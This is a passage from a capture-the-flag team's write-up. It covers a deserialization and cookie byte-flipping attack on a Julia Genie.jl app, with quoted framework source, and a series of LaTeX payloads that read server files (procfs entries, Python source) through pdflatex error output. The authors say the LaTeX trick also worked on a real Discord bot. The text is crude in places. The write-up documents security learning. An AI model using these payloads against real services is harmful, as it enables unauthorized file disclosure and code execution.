filt=filter(methods(Serialization.deserialize).ms) do m
String(m.file)[1]=='R' end;
Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));
```

The only difference is the command. For some reason you cannot directly use special character when you use the `run`

function (or maybe a language construct? I don't even know wtf is that... lol). The special characters need to be quoted. So if you just use `cp /app/flag* /app/uploads/flag`

then it will try to copy the file called `flag*`

instead of the actual flag file with random file name. So we need to use `sh -c`

here.

After that we need to fix the crypto part.

The server is slow due to weird behavior of nginx, and it just has 600 seconds timeout.

### Finding the actual crypto bug

*From Mystiz's perspective*

I thought it was a padding oracle, but it is not. Let's read the source code on how a session ID is converted to a cookie:

```
# https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/session_adapters/FileSession.jl#L68-L89
"""
read(session_id::Union{String,Symbol}) :: Union{Nothing,Genie.Sessions.Session}
read(session::Genie.Sessions.Session) :: Union{Nothing,Genie.Sessions.Session}
Attempts to read from file the session object serialized as `session_id`.
"""
function read(session_id::Union{String,Symbol}) :: Union{Nothing,Genie.Sessions.Session}
isfile(joinpath(SESSIONS_PATH, session_id)) || return nothing
try
open(joinpath(SESSIONS_PATH, session_id), "r") do (io)
Serialization.deserialize(io)
end
catch ex
@error "Can't read session"
@error ex
end
end
function read(session::Genie.Sessions.Session) :: Union{Nothing,Genie.Sessions.Session}
read(session.id)
end
```

```
# https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Sessions.jl#L59-L71
"""
id(payload::Union{HTTP.Request,HTTP.Response}) :: String
Attempts to retrieve the session id from the provided `payload` object.
If that is not available, a new session id is created.
"""
function id(payload::Union{HTTP.Request,HTTP.Response}) :: String
(Genie.Cookies.get(payload, Genie.config.session_key_name) !== nothing) &&
! isempty(Genie.Cookies.get(payload, Genie.config.session_key_name)) &&
return Genie.Cookies.get(payload, Genie.config.session_key_name)
id()
end
```

```
# https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Cookies.jl#L28-L42
"""
get(res::HTTP.Response, key::Union{String,Symbol}) :: Union{Nothing,String}
Retrieves a value stored on the cookie as `key` from the `Respose` object.
# Arguments
- `payload::Union{HTTP.Response,HTTP.Request}`: the request or response object containing the Cookie headers
- `key::Union{String,Symbol}`: the name of the cookie value
- `encrypted::Bool`: if `true` the value stored on the cookie is automatically decrypted
"""
function get(res::HTTP.Response, key::Union{String,Symbol}; encrypted::Bool = true) :: Union{Nothing,String}
(haskey(HTTPUtils.Dict(res), "Set-Cookie") || haskey(HTTPUtils.Dict(res), "set-cookie")) ?
nullablevalue(res, key, encrypted = encrypted) :
nothing
end
```

```
# https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Cookies.jl#L135-L157
"""
nullablevalue(payload::Union{HTTP.Response,HTTP.Request}, key::Union{String,Symbol}; encrypted::Bool = true)
Attempts to retrieve a cookie value stored at `key` in the `payload object` and returns a `Union{Nothing,String}`
# Arguments
- `payload::Union{HTTP.Response,HTTP.Request}`: the request or response object containing the Cookie headers
- `key::Union{String,Symbol}`: the name of the cookie value
- `encrypted::Bool`: if `true` the value stored on the cookie is automatically decrypted
"""
function nullablevalue(payload::Union{HTTP.Response,HTTP.Request}, key::Union{String,Symbol}; encrypted::Bool = true) :: Union{Nothing,String}
for cookie in split(Dict(payload)["cookie"], ';')
cookie = strip(cookie)
if startswith(lowercase(cookie), lowercase(string(key)))
value = split(cookie, '=')[2] |> String
encrypted && (value = Genie.Encryption.decrypt(value))
return string(value)
end
end
nothing
end
```

```
# https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Encryption.jl#L24-L35
"""
decrypt(s::String) :: String
Decrypts `s` (a `string` previously encrypted by Genie).
"""
function decrypt(s::String) :: String
(key32, iv16) = encryption_sauce()
decryptor = Nettle.Decryptor(ENCRYPTION_METHOD, key32)
deciphertext = Nettle.decrypt(decryptor, :CBC, iv16, s |> hex2bytes)
String(Nettle.trim_padding_PKCS5(deciphertext))
end
```

```
# https://github.com/JuliaCrypto/Nettle.jl/blob/v0.5.0/src/cipher.jl#L90-L93
function trim_padding_PKCS5(data::Vector{UInt8})
padlen = data[sizeof(data)]
return data[1:sizeof(data)-padlen]
end
```

In short, `__geniesid`

is the ciphertext of the relative path for the session file. It uses the decryptor from *Nettle.jl* to decrypt ciphertext with AES-CBC and unpad. Notably, *Nettle.jl*'s unpad it reads the last character (denoted by $\rho$) and simply remove the last $\rho$ characters from the plaintext. It *does not* checks if the padding is correct under PKCS5.

Since the session ID is 64 characters long, the ciphertext would be 80 bytes long. In particular, if $c_4$ and $c_5$ represents the fourth and the fifth blocks and $\text{pad}$ is `10 10 ... 10`

, we have:

\[\text{Enc}(c_4 \oplus \text{pad}) = c_5\]

If we flip the last byte of $c_4$ by `0x10 XOR 0x4f`

, we would obtain a plaintext which is the first *byte* of the current plaintext. After all, we have the following algorithm:

- Upload 16 malicious sessions to
`../uploads/0`

,`../uploads/1`

, ...,`../uploads/f`

(yes, @grhkm was correct.) - Get a session and flip the last byte of $c_4$ by
`0x5f = 0x10 XOR 0x4f`

. We then have the session ID being`0`

,`1`

, ..., or`f`

, which will point to the malicious session. - Use the malicious session and visit a page.
- Read the flag at
`http://[HOST]/uploads/flag`

## Remote Code TeXecution 1

*Solved by harrier and Ozetta; writeup compiled by Ozetta.*

**When I was attempting this challenge, the source code was not released.**

Few months ago some of our team member added a Discord Bot called "TeXit" to render LaTeX output on Discord... lol it just looks too similar to the current challenge. A day after the Bot is introduced, I managed to craft a payload that can read any files on the server and steal other user's output. The bug is reported to the developers of TeXit and they replied that it is an expected behavior. Well looks like we have some endowment to use for this challenge:

```
\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}
\newwrite\tempfile
\immediate\openout\tempfile=z.tex
\protected@iwrite\tempfile{}{\protect\begin{verbatim}}
\newread\file
\openin\file=../(Discord_User_ID)/(Discord_User_ID).tex
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\advance \foo +1
\read\file to\fileline
\ifnum \foo > 53
\protected@iwrite\tempfile{}{\fileline}
\fi
\repeat
\closein\file
```

The funny `>53`

is to remove the headers added by the Bot, and we will see later on that it is very useful in this challenge. So I just replace the filename in our old payload to check `/proc/self/stat`

. It shows

```
Error
The bot thinks your file is insecure
backslash detected!
```

I also tried `/proc/self/exe`

and it shows

```
Compilation failed
! Text line contains an invalid character.
<read 2> ^^?
ELF^^B^^A^^A^^@^^@^^@^^@^^@^^@^^@^^@^^@^^C^^@>^^@^^A^^@^^@^^@@!^...
l.21 \repeat
?
! Emergency stop.
<read 2> ^^?
ELF^^B^^A^^A^^@^^@^^@^^@^^@^^@^^@^^@^^@^^C^^@>^^@^^A^^@^^@^^@@!^...
l.21 \repeat
! ==> Fatal error occurred, no output PDF file produced!
Transcript written on output.log.
Output PDF not found.
```

And `/proc/self/cmdline`

shows

```
! Text line contains an invalid character.
<read 2> pdflatex^^@
-no-shell-escape^^@-jobname^^@output^^@__document.tex^^@
l.21 \repeat
?
! Emergency stop.
<read 2> pdflatex^^@
-no-shell-escape^^@-jobname^^@output^^@__document.tex^^@
l.21 \repeat
! ==> Fatal error occurred, no output PDF file produced!
Transcript written on output.log.
Output PDF not found.
```

Thanks it is pdflatex, I should know that already based on the experience from TeXit.

Looks like it only got output whenever there is an error. So those verbatim tricks from the old payload didn't work well. I just left the challenge alone and after the author released a hint about procfs, probably we are still on the right track... Then after that I found a shit way to force the error output:

`\PackageError{mypackage}{\fileline}{asdf}`

So instead of writing to a tempfile, we can throw exception like this to see the output. I am too lazy so I just add one extra line like this lol:

```
\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}
\newwrite\tempfile
\immediate\openout\tempfile=z.tex
\newread\file
\openin\file=/proc/self/stat
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\advance \foo +1
\read\file to\fileline
\ifnum \foo > 0
\PackageError{zzz}{\fileline}{xxx}
\protected@iwrite\tempfile{}{\fileline}
\fi
\repeat
\closein\file
\immediate\closeout\tempfile
\input{z.tex}
```

Reading `/proc/self/stat`

gives this:

```
! Package zzz Error: 16150 (pdflatex) R 16149 16145 16145 0 -1 4194560 4455 0 0
0 6 0 0 0 20 0 1 0 14499616 104087552 5380 18446744073709551615 94604983250944
94604984547965 140730182785440 0 0 0 0 0 2 0 0 0 17 3 0 0 0 0 0 94604984940784
94604985236168 94605006471168 140730182790653 140730182790710 140730182790710
140730182791142 0 .
```

I guess there is a script that spawns the pdflatex, so reading the parent process' cmdline should shows the source path. Upload another file and render again gives another pid that is 11 more than the previous one. So let's say we have pid 16150 for `/proc/self/stat`

(from the previous example), we should leak `/proc/16160/cmdline`

to see the source code path. Then this is what we get:

```
! Text line contains an invalid character.
<read 2> /bin/sh^^@
-c^^@pdflatex -no-shell-escape -jobname output __document...
l.21 \repeat
```

Thanks it is `/bin/sh`

! Should we find the flag inside? lol
Then we check the parent process' id of that sh(it):

```
! Package zzz Error: 16292 (sh) S 16290 16288 16288 0 -1 4194304 68 0 0 0 0 0 0
0 20 0 1 0 14551347 2478080 128 18446744073709551615 94814411878400 9481441195
3821 140730404898032 0 0 0 0 0 65538 1 0 0 17 4 0 0 0 0 0 94814411984688 948144
11989568 94814436925440 140730404900389 140730404900477 140730404900477 1407304
04900848 0 .
```

Got a difference of 2, so next time maybe just 11-1-2 = 8, which actually gives this shit:

```
/usr/bin/make^^@
-s^^@-C^^@sandbox/ffdb9e807e2ef8fd656b_236028595565...
l.21 \repeat
```

Haiya why not just brute force... ok the difference is 9:

```
! Text line contains an invalid character.
<read 2> python3^^@
/workdir/YVvIaGD52z09nIZzXzvB.py^^@
l.21 \repeat
```

Finally we got the source code's path. Then to leak the source code (well I am not aware of the source code is released by the author at the moment), we can do it line by line... But I don't want so I just copied a string concat macro:

```
\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}
\def\mystring{} % initialize
\def\extendmystring#1#2{\edef\mystring{#1\mystring#2}}
\newwrite\tempfile
\immediate\openout\tempfile=z.tex
\newread\file
\openin\file=/workdir/YVvIaGD52z09nIZzXzvB.py
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\advance \foo +1
\read\file to\fileline
\ifnum \foo > 0
\ifnum \foo < 10
\extendmystring{}{\fileline}
\extendmystring{}{FUCK}
\fi
\fi
\repeat
\PackageError{zzz}{\mystring}{xxx}
\closein\file
\immediate\closeout\tempfile
\input{z.tex}
```

so the output should be a FUCK-separated text of the source code. And I keep requesting the Bot to leak the source code for about 20 lines at a time. Then the single quotes on lines 23 and 44 break the output. So I have to skip these lines manually. Finally I got a different error message from line 171, so looks like it is EOF? Or the `#`

comment character breaks the output again. Then I went back to the team Discord channel to see what's going on and found that our team member harrier has already found the flag on line 171 quickly by viewing the released code.

Here is the final payload to fix the `#`

, using the catcode command to change the category of `#`

char to be "other" so it doesnt get rendered badly:

```
\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}
\def\mystring{} % initialize
\def\extendmystring#1#2{\edef\mystring{#1\mystring#2}}
\catcode`\#=12
\newwrite\tempfile
\immediate\openout\tempfile=z.tex
\newread\file
\openin\file=/workdir/YVvIaGD52z09nIZzXzvB.py
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\advance \foo +1
\read\file to\fileline
\ifnum \foo > 170
\ifnum \foo < 172
\extendmystring{}{\fileline}
\extendmystring{}{FUCK}
\fi
\fi
\repeat
\PackageError{zzz}{\mystring}{xxx}
\closein\file
\immediate\closeout\tempfile
\input{z.tex}
```

lol why you still need to write a tempfile...